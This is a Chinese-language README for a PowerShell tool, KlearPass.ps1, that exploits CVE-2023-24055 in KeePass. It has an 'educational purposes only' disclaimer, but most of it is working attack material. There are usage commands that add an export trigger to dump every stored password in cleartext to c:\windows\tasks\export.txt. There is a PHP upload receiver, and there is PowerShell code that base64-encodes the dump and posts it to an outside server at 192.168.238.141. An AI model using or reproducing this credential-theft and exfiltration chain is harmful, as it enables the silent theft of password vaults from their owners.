
此脚本仅用于教育和演示目的。作者不支持也不纵容将此脚本用于任何犯罪或恶意活动,并且只能在获得明确许可并拥有适当授权的情况下使用。
使用此脚本时需谨慎,因为它会修改 KeePass 配置文件并删除所有先前配置的触发器。使用此脚本可能导致意外行为,甚至可能破坏 KeePass 应用程序。请自行承担风险。
此脚本演示了 KeePass 至 2.53 版本(默认安装)中 争议性 的漏洞(CVE-2023-24055)。该漏洞允许拥有 XML 配置文件写入权限的攻击者通过添加导出触发器获取明文密码。请注意,供应商的立场是密码数据库本身并非旨在防范具有该级别本地 PC 访问权限的攻击者。
参考:
要使用此脚本,请在 PowerShell 中运行并提供必要参数。必需参数为:
-filename:要导出密码的文件的完整路径和文件名。可选参数为:
-uploadURL:此开关用于指定将数据上传到指定 URL。-url:数据应上传到的 URL。导出明文密码:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
导出明文密码并将导出文件上传到 Web 服务器:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
详细帮助:
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");